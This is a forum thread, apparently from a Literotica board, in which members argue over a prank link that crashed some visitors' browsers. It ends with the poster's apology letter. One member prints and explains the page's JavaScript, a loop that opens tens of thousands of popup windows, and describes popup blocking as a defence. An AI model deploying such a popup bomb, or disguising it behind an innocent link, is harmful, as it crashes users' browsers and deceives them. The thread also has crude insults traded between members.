Repairing mine and Siren's computer.

[Lancecastor]

But don't start saying she's blameless in the whole drama.

You are right, she is not blameless.

I've seen plenty of qualified, backhanded psuedo apologies here before and find them insulting when they are given to me as well.

My point in this cluster-fuck revolves more around the pack mentality and grade-school social committee heirarchy here.

Next week or the week after that, somebody new will say or do something that pisses off one of the HeavyPosters and a new pile-on will commence.

Whereas if that guy with the Caesar Romero as Joker av chooses to say nothing but "You are a pig fucker." after your posts for a week, many of you will find it amusing, because you are used to him and take him for what he is I assume.

KidRock, for example, despite apparently being grossly disliked here, posted late last nite with some points about Indigo's stunt that were sound and helpful advice to some here who apparently are not very sophisticated Internet users despite their strong interest in Lit.

Because I prefer to look at the merit in what is said over any perceived "status" gained via the Unwritten Laws and decided over PM Net and other backchannel setups, I see no problem in agreeing with you, Indigo, KidRock, Marxist, DCL, KillerMuffin, etc, when they make what I think is a good point.

Likewise, I see no difficulty in disagreeing with you or anyone if I think your point of view is flawed.

It's an exchange of ideas for me, most often without emotional investment, a desire to learn how people think, and to have a few laughs.

I'm sorry, for example, that Siren's computer isn't in a happy place...but I have no problem making some humour hay with her grossly emotional and illogical responses.

Those are her trademarks and sometimes I find them funny, as I do Texan's BigDick Mr Man attitude, Ishmael's ramrod stiff opinions, Lavender's grad-school passion and DCL's talent for a scalpel-like one liner.

Indigo Rose did something naughty. But no naughtier than a lot of what I see here daily.

It just took a different form and that touched a nerve by raising the possibility that your activities on Lit might entend out past one's keyboard.

It is fair game to let her know that people didn't appreciate that as a breach of the Unwritten Law.

The rest of it is a poor reflection on those who stoop to it.

That's what I think.

Cheers;

Lance

 

[Purple Haze]

Pig fucker.

 

[Lancecastor]

I disagree with you.

I believe she is being skewered because:

1. You don't know her.


2. She did something new that raised the possibility of Lit extending into your computer and out your speakers and into your Life.

3. She found it funny even though it was in poor taste to do so.

You said: "It probably didn't break any Lit rules," and "Bob's prank was bad, too"

You can dislike her for her breach of your Understanding of (Unwritten) Litiquette and bemoan like BluesBoy that things "just aren't the same" anymore, but she didn't break any rules as far as I can see and she did something that was very nearly the same as what Bob has had in his sig for ages.

None of which deserves the castigation,wailing and waste of bandwidth that has ensued.

Not at all what I said, and you know it.

She is being skewered because she hasn't conformed to the rules of living in a decent society - newbies included as well as vets. I don't believe it was just GB veterans that she upset. Veterans may be more outspoken though.

 

[Lancecastor]

Pig fucker.

Perfectly timed. Thanks Minnebraska.

 

[Purple Haze]

You're welcome, Dances with Pigs...

 

[zipman]

Hey Lance

I think what IR did was worse than a lot of other shit I have seen here. She mislead people as to what the link was knowing that it would give them a headache at best and possibly crash their computers at worst. She played a prank, and I don't think it was funny as I might have had the same problems as Siren and others. I wouldn't have clicked on a link like that if it was an unreg, or a troll, but I would have trusted someone with over 2000 posts to be a responsible member of the community here, not just some mean-spirited twit. You think the prank was funny, most of us don't. You are not going to change our minds any more than we are going to change yours, so let's look at the real issues here.

I think a lot of people have thrown out some inappropriate analogies to explain this situation. Here's a simple one: A friend ties your shoelaces together and you try and walk and fall. A lot of people would laugh at it. Slapstick comedy is based on the simple premise that it is okay to laugh at someone else's misfortune. However, if 2 or 3 seconds after you fell, they realized that you were hurt, most people would stop laughing. That's when most people would simply apologize for what they had done. IR didn't apologize (well, later she did give a half-assed one) and that is what so many people are pissed off about. In fact, she blamed all of us for not having a sense of humor.

You assume that everyone is following a pack-like mentality and described this as a "gang rape." Sorry, but that just isn't accurate. You are standing up and stating what you believe in. Shouldn't the rest of us be accorded the same opportunity. Just because you don't agree with it doesn't mean that we are simply ganging up on her "cause the cool kids are." Would you like it if someone said, "oh that Lance, he just likes to stir shit and fight for the underdog regardless of who is right?" Probably not. And describing what has happened as "gang rape" is an attempt to make IR the victim here, which she isn't. She's the perpetrator of a mean spirited prank.

So what it really boils down to is that she chose to play a joke on other people and laugh at the fact that they fell for it. And when people get pissed off at her, she complains that we can't take a joke. Seems to me that she made her bed and now she doesn't like sleeping in it.

The thing that really pisses me off is now a lot of us won't click on links, unless we know who the poster is and that we trust them. In my mind, that minimizes the ability to discuss and share information which is the purpose of this site. That's the fallout from her getting her laugh. For that, and for her attitude, I think she deserves every name she has been called.

 

[Lancecastor]

http://www.public.iastate.edu/~alex/graphics/pigs02.gif

 

[bknight2602]

I only have one question, where did the link take you, what images came up? I already said I opened Bob_bychtin's link and had no damage from that one, but I don't know if it is the same link? Just trying to find out some information!

 

[Lancecastor]

Re: Hey Lance

I agree with much of what you've said, Zip, but that's nothing new. I've clipped and numbered some of your post points for ease of response.

L

1. She played a prank, and I don't think it was funny . You think the prank was funny.

L: I've see that prank before and don't find it funny. I hate that shit. It's why I check all URLs and attachments before clicking and have for years from everyone. I found the over-the-top reactions, particularly the "I'm going to sue you!" and "I'm calling the FBI!!" highly amusing, yes, as I did the story of Texan sneaking online for a nip of poontang before church.

2. You are not going to change our minds

L: No problem. We needn't agree on everything.

3. IR didn't apologize (well, later she did give a half-assed one) and that is what so many people are pissed off about.

L: I posted earlier that I think people are angry because she's new, with a new kind of Kung Fu. Ginny also posted thoroughly along the same lines I think.

4. You assume that everyone is following a pack-like mentality and described this as a "gang rape."

L: There are packs of pals on the GB who support each other and attack together, yes. Not everyone, but some, yes.

5. Would you like it if someone said, "oh that Lance, he just likes to stir shit and fight for the underdog regardless of who is right?"

L: It's better than PigFucker or Cunt.

6. She's the perpetrator of a mean spirited prank.

L: It was a slippery little joke, yes. Glad I didn't fall for it.

7. So what it really boils down to is that she chose to play a joke on other people and laugh at the fact that they fell for it. And when people get pissed off at her, she complains that we can't take a joke.

L: Close enough, yes. The joke, the laughs, the wails, the anger, the increasing laughter, the increasing anger....pranks tend to go that way and I've been on all ends of the. Bet you have too.

8. The thing that really pisses me off is now a lot of us won't click on links, unless we know who the poster is and that we trust them.

L: Mild paranoia's like that. I think Hanns trades on it, for example. People are very twitchy about surprises in the USA these days I find. I routinely delete joke attachments in emails from good friends unless they say they wrote the code. Attachments and joke links are bad news, virus-wise.

9. For that, and for her attitude, I think she deserves every name she has been called.

L: We disagree on this point. She's just another person here like the rest of us as far as I'm concerned. Sometimes funny & interesting, sometimes not. No big deal.

 

[The Heretic]

I only have one question, where did the link take you, what images came up? I already said I opened Bob_bychtin's link and had no damage from that one, but I don't know if it is the same link? Just trying to find out some information!

See my first several posts in this thread where I explain what the contents of the pages are and what they do.

 

[bknight2602]

See my first several posts in this thread where I explain what the contents of the pages are and what they do.

Thanks I'll go to the front! Started in the back and was working towards it. I posted some on the other thread that Siren started.

 

[RawHumor]

See my first several posts in this thread where I explain what the contents of the pages are and what they do.

Ahhhh... another computer geek kinda guy. SabbathStorm and I are too, but I work with Excel VBA more than anything else right now.

 

[bknight2602]

Okay, I looked at the code and markup and even tested it.

Pretty crude but effective , but what the first page does is open two HTML files:

function worksucks() {

window.open('1ame.html','','height=1,width=1,toolbar=no,directories=no,menubar=no,screenX=0,screenY=0,left=0,top=0');
window.open('lame.html','','height=1,width=1,toolbar=no,directories=no,menubar=no,screenX=0,screenY=0,left=0,top=0');
}

The first file simply has a WAV file embedded as an a background sound which plays in an infinite loop:

<bgsound src="gay.wav" loop="infinite">

The second file has this code:

function worksucks() {

var i;
for (i=0; i < 5000; i++) {

window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=0,screenY=0,left=0,top=0');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=500,screenY=0,left=500,top=0');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=0,screenY=380,left=0,top=380');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=500,screenY=380,left=500,top=380');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=800,screenY=0,left=800,top=0');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=800,screenY=380,left=800,top=380');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=800,screenY=740,left=800,top=740');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=500,screenY=740,left=500,top=740');
window.open('hello.jpg','','height=380,width=500,toolbar=no,directories=no,menubar=no,screenX=0,screenY=740,left=0,top=740');
}
}

What this seems to do is open 9 windows in three rows and three columns on your desktop. The thing that causes problems is that it does it 5000 times or until your browser chokes.

5000 times 9 is 45,000 browser windows. I have 900 MB on my computer, but it only took about 70 or so windows before Mozilla cried uncle and crashed.

Now I have Windoze 2000, so an application crashing rarely brings my system down, but such behavior is far from guaranteed with non-NT versions of Windoze such as Win95/98/ME. With those versions it is quite conceivable that this web page would cause your computer to crash. It is not going to do it to everybody's computer, or even to a particular person's computer every time, but it is quite probable that it would crash some computers. It just depends on what they had loaded and what version of browser they were running and so on. I personally run my browsers such that this can't happen to me - I had to setup Mozilla purposely to let this page propogate like that.

Did the person who put up these pages mean for this to happen, or did he/she just think it was a funny ha ha thing to do? I have no idea. Other than the crashing the browser and possibly crashing the computer, I see nothing else malicious in the pages. Nothing to go out and purposefully scramble anything on a computer other than the temporary memory space that the browser was running in - and that only as a byproduct of so many windows opening at the same time (the code could get the same effect without crashing by opening the window, then closing it).

I would have to say that 45,000 windows is overkill, and that it is probably that the person who put the page up did this on purpose to crash the browser and possibly the computer - although that is by no means certain; people who do these things are often pretty clueless about such stuff.

With regards to someone posting such a link. I would have to say that this shows poor judgement on their part, but not necessarily malicious intent since as far as I know the person did not actually create or host the page. I personally would not seek anything more than to scold them for that poor judgement and an apology from them. I do not believe that anything more could legally be forthcoming, although I could be wrong.

PM me with how you check this out and not open it, I have never been able to do that!

 

[The Heretic]

Thanks I'll go to the front! Started in the back and was working towards it. I posted some on the other thread that Siren started.

I only came in a page or so ago, so just find my first post where I asked for the URL and then you will find the code and my explanation of what it does.

 

[The Heretic]

PM me with how you check this out and not open it, I have never been able to do that!

It is no big secret:

You need a browser like Mozilla or Netscape 6+ that has options to deny web pages the opportunity to open unrequested windows. What this means is that they cannot programatically open a new window like the script on that page does. There are popup stoppers for IE, but they work after the fact by closing the window after it starts to open, whereas Mozilla/NS just doesn't allow it period. I think Opera has a similar option, but I don't use it much because Opera doesn't support DHTML (Dynamic HTML).

So what I did was just go to the URL with Mozilla, which is the browser I use most of the time now, and just viewed the source for the first page. I then used the referenced page in the code to input the complete URL for the other pages and looked at their code too. Then I tested it by enabling popup windows in Mozilla.

I could have also used the built-in ********** debugger, but that wasn't necessary - although it would probably have prevented Mozilla from crashing.

 

[Sandia]

My computer crashed last night. I think all this talk about the FBI is making in hinky.

 

[Lancecastor]

My computer crashed last night. I think all this talk about the FBI is making in hinky.

My computer crashed printing an Excel spreadsheet while online.

I blame your post and its reference to the FBI.

You'll be hearing from my liars.

Treble clef damages from Mr. Soprano.

And several threads.

Pass the tanning butter baby, the forcast is hot and sticky.

Veiled threat veiled threat veiled threat.

Lance

 

[lavender]

 

[celiaKitten]

I hate hearing the argument about cliques. Most of the "HeavyPosters" go head to head on numerous occasions. KM and I have arguments on the board. Siren and I disagree on the board. Dillinger and I have disagreed on the board. Hell, we are all people who stick to our principles, regardless of who is involved. The whole "mob mentality" & "clique" argument is as old as Methusula.

I haven't been here terribly long .. but I've seen quite a few of this particular argument. It seems to happen often in situations like this one.

You're very right - mostly same shit, different day.

 

[Freya]

I haven't been here terribly long .. but I've seen quite a few of this particular argument. It seems to happen often in situations like this one.

You're very right - mostly same shit, different day.

Funny thing is, most of those arguing the points with IR are not even in this so-called clique. I know I'm so far out of any cliques on here, I might as well be in a different country. Oh wait, I am!

 

[Guest]

Dear Siren,

I don't know your real name so I will just call you Siren.

I talked to Marxist on the phone last night, we talked about this link situation and with his help I have come to a few conclusions.

To start with, I want to make sure you realize, I most definately did not know that this prank would cause your computer any harm, and I did not know it would cause such a negative uproar either. I sent the same link to dozens of people that I know personally, none of them had a problem with the computer, the link is designed to cause a neccesary reboot at the very worst. Before I gave the link to any one else, I fell for it as well, and immediately after I did fall for it I took apart the file it leaves and looked for malicious code. When I discovered there was none I felt a lot better about it and thought it was humorous. That's when I decided it needed to be sent out. I even opened it a second time to check the code for any possibilities that it might cause harm in other ways by causing a dominoe effect on certain machines, honestly I did come to the conclusion that it wouldn't do so. After that check I posted it on Lit. There were a few reasons why I did, mainly I thought the link was harmless and humorous, secondly I figured it would go over much better since bob bytchin had the exact same file in his sig line for ages and got nothing but funny comments about it, the only thing different in his was there was no sound. Other than that, his sent the same file which also had no malicious code. Third, Lavender's sig line demonstration the other day annoyed the hell out of me, I thought it was childish and rude to pick on people who chose to put things in their sig line, so I took out my original sig line and added this link, sort of a way to say " Well you whined and bitched about the other sig line, so here is what you get for all that whining, enjoy". Also, admittedly it was kind of a big ol' fuck you to the people at the GB who PM me constantly under unregisered and call me names, to people like you who judged me on my social persona rather than my real life persona, people who called me names and wished hurtful things on me, and were generally rude, to me the link was humorous and at that point I thought completely harmless, so it was like a funny way of saying fuck you.

What the Heretic guy posted after reviewing the code does make some sense, while I don't have as many years experience with crashing computers on purpose as he does, nor do I know as many code lanuages as he does, I assure you I honestly looked through the coding twice and I did not think about the minute chance of something like what happened to you as he did. I am not sure if what he brought to my attention did in fact happen to you, I don't know what OS you are running, how old your computer is or what was already fucked up to begin with, but after reading and researching his posts, I now know that IF the factors were all right, what he said could very well happen, though the chance of it is still incredibly small. Stranger things have happened though.

You in particular have been quite judgmental and rude to me in the past, you have in fact hurt my feelings with your words and acusations, jumping to conclusions and posting holier than thow material at me. Other people have been just as rude but you really bothered me, admittedly. That is why I took such great joy in your computer being the only one to become screwy as a result of what I thought was a perfectly harmless link. I had even told a few people that the irony of you being the one person I couldn't stand the most on the GB and your computer being some how the only one so drastically affected was rather joyful at the time.

Don't make the mistake of thinking that you did a good job in annoying me and hurting my feelings, it's more likely just a case of you not having a clue what is going on in my life right now and picking the exact worst times to bring me down further, but this letter isn't about me, it's about you. The point is, I am a better person than that, and while at the time my pride did not allow me to admit it because of the way you had treated me in the past and becauase of my knowledge at the time that the link was in fact harmless, I now realize it was wrong for me to take pleasure in your suffering. On the larger scale of things, your offences towards me could have been worse and there are more people in the world who do in fact deserve to suffer.

With that, I am sorry for taking your misfortunes and smiling about them, that was wrong and it shows that I am something and some one that I am not. I am also sorry that your computer is not happy currently, though I really want you to understand that I honestly did believe the link was completely harmless to all machines in the first place. Still I am not certain what happened in your case, as I stated before, but if you truly believe that clicking on that link caused your problems and I can't prove otherwise then I have no choice but to believe you and apologize for any harm that has come to your computer as a result.

I've done this privately because I don't think other people need to be a witness, as long as I have apologized to the party in question, I feel better about myself, however if you feel the need to gain something publicly I will post this letter on the GB as well. Just say the word.

I may not like you, or other people in the GB, but what I have done and said to you is wrong in my books, and while I claimed to enjoy it at the time, I was worried about the damages and what might need to be done to repair it, as well as embarrassed when the Heretic posted his findings and I realized that there was a small window that I had overlooked. When I apologized to the other people who were offended, I did mean it, whether they want to take it that way or not, I didn't neccessarily agree with how they were reacting and because of such hostility over a prank I truly thought people would find just as funny as I did, I found myself becoming more and more defensive, and that defence is what they picked up on, not my true emotions about the whole subject. I honestly wish I had not posted the original link as of now, not becuase I really think it was such a terrible thing, except in your case, but because the general uproar it has caused is not only counterproductive but demeaning and classless as well. Also the upraor and the feelings people are having as a result towards Laurel and Manu are not right, they did nothing wrong and don't deserve their site to be filled with hate and misstrust.

Honestly, had I foreseen any of this happening I would not have posted the link in the first place, but what is done is done. I don't really care if you don't like me, you have made it painfully obvious that you don't and have no intentions to try, same with many others, and that's fine, I am a big girl and I can deal with flame wars on my own and in my own way. In your case however, an apology is deserved because I singled you out and laughed at your pain and suffering, whether you deserved it or not, it was not my place to dictate that fact.

I also want you to know the writing of this letter was not brought on by the new apology thread in the GB, nor was it brought on by threats of legal action, as I never thought you had a case to begin with. Marxist and I talked on the phone last night and I agreed that while there are other factors in my favour at stake here, the fact is whether I want to believe it or not, stooping to the level I did was wrong and uncalled for, I should have sincerely apologized and kept my feelings about you to myself, that would have been the mature thing to do. So anyways, better late than never.

If you need tech support with your computer, I am not very good at explaining what I know without seeing the machine, but Vixenshe's boyfriend is a tech support guy and is quite good with explaining what he knows, he will help you or advise you if you like, also I believe the Heretic has offered his assistance as well. I do hope your computer gets sorted out soon, and that everything is alright with it. Again, I am sorry this link caused unforseen damages to it and I am sorry that I delighted in the irony of the situation when I should have been more mature.

Have a nice day.

Winter
(Indigo.Rose)